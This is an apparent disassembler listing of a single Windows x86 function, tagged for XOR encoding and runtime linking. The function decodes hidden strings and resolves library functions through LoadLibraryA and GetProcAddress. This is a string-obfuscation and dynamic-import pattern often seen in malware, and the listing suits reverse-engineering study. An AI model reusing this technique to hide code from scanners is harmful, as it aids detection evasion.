Function at 0x44a530
Capabilities:
Encode data using xor
Link many functions at runtime

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff0
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
sub esp, 0x5c
cmp byte [0x55ce42], 0
push esi
jne 0x44ab75
movaps xmm0, xmmword [0x548500]
xor ecx, ecx
mov dword [ebp - 0x1e], 0xe6fce9f1
mov word [ebp - 0x1a], 0xefff
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xc
jb 0x44a571
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a5a3
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [ebp - 0x3c]
test eax, eax
mov dword [0x55ce28], eax
sete al
mov byte [ebp - 1], al
cmp ecx, 0x10
jb 0x44a60f
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a602
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab7f
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 1]
add esp, 8
test al, al
jne 0x44ab75
movaps xmm0, xmmword [0x549440]
xor ecx, ecx
movups xmmword [ebp - 0x25], xmm0
mov word [ebp - 0x15], 0xf5f2
xorps xmm0, xmm0
mov byte [ebp - 0x13], 0xea
movq qword [ebp - 0x12], xmm0
mov word [ebp - 0xa], 0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x25], al
inc ecx
cmp ecx, 0x13
jb 0x44a640
mov dword [0x55d5a8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x25]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a672
sub ecx, edx
lea eax, [ebp - 0x25]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
mov esi, dword [sym.imp.KERNEL32.dll_GetProcAddress]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce44], eax
cmp ecx, 0x10
jb 0x44a6db
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a6d1
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab84
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x549bc0]
xor ecx, ecx
movups xmmword [ebp - 0x26], xmm0
mov dword [ebp - 0x16], 0xe9edf4e2
xorps xmm0, xmm0
mov word [ebp - 0xa], 0
movq qword [ebp - 0x12], xmm0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x26], al
inc ecx
cmp ecx, 0x14
jb 0x44a700
mov dword [0x55d540], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x26]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a732
sub ecx, edx
lea eax, [ebp - 0x26]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce3c], eax
cmp ecx, 0x10
jb 0x44a795
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a78b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab89
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547be0]
xor ecx, ecx
mov word [ebp - 0x1b], 0xe9d1
mov byte [ebp - 0x19], 0xfc
movups xmmword [ebp - 0x18], xmm0
nop dword [eax]
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x1b], al
inc ecx
cmp ecx, 9
jb 0x44a7b0
mov dword [0x55d630], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1b]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a7e2
sub ecx, edx
lea eax, [ebp - 0x1b]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce34], eax
cmp ecx, 0x10
jb 0x44a845
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a83b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab8e
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547450]
xor ecx, ecx
mov dword [ebp - 0x20], 0xe6fce9d1
mov dword [ebp - 0x1c], 0xebfdc3ff
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x20], al
inc ecx
cmp ecx, 0xe
jb 0x44a860
mov dword [0x55d524], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x20]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a892
sub ecx, edx
lea eax, [ebp - 0x20]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce24], eax
cmp ecx, 0x10
jb 0x44a8f5
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a8eb
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab93
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x547520]
xor ecx, ecx
mov dword [ebp - 0x21], 0xe6fce9d1
mov dword [ebp - 0x1d], 0xe1e1cfff
mov byte [ebp - 0x19], 0xfc
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x21], al
inc ecx
cmp ecx, 0xf
jb 0x44a914
mov dword [0x55d558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x21]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a946
sub ecx, edx
lea eax, [ebp - 0x21]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce38], eax
cmp ecx, 0x10
jb 0x44a9a9
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44a99f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab98
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x548570]
xor ecx, ecx
mov dword [ebp - 0x1e], 0xe6fce9d1
mov word [ebp - 0x1a], 0xcbff
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xc
jb 0x44a9c3
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44a9f5
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce30], eax
cmp ecx, 0x10
jb 0x44aa58
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44aa4e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44ab9d
push ecx
push edx
call fcn.004fb0f1
add esp, 8
movaps xmm0, xmmword [0x548570]
xor ecx, ecx
mov dword [ebp - 0x1e], 0xe6fce9d1
mov word [ebp - 0x1a], 0xcbff
movups xmmword [ebp - 0x18], xmm0
lea eax, [ecx - 0x79]
xor byte [ebp + ecx - 0x1e], al
inc ecx
cmp ecx, 0xc
jb 0x44aa72
mov dword [0x55d528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1e]
mov byte [ebp - 0x12], 0
movaps xmmword [ebp - 0x50], xmm0
lea edx, [ecx + 1]
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x44aaa4
sub ecx, edx
lea eax, [ebp - 0x1e]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00402b80
cmp dword [ebp - 0x3c], 0x10
lea eax, [ebp - 0x50]
cmovae eax, dword [ebp - 0x50]
push eax
push dword [0x55ce28]
call esi
mov ecx, dword [ebp - 0x3c]
mov dword [0x55ce4c], eax
cmp ecx, 0x10
jb 0x44ab0c
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x44aafd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x44aba2
push ecx
push edx
call fcn.004fb0f1
mov eax, dword [0x55ce4c]
add esp, 8
cmp dword [0x55ce44], 0
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
je 0x44ab69
cmp dword [0x55ce3c], 0
je 0x44ab69
cmp dword [0x55ce34], 0
je 0x44ab69
cmp dword [0x55ce24], 0
je 0x44ab69
cmp dword [0x55ce38], 0
je 0x44ab69
cmp dword [0x55ce30], 0
je 0x44ab69
test eax, eax
je 0x44ab69
mov byte [0x55ce42], 1
mov al, 1
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push dword [0x55ce28]
call dword [sym.imp.KERNEL32.dll_FreeLibrary]
xor al, al
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
call fcn.00500390
int3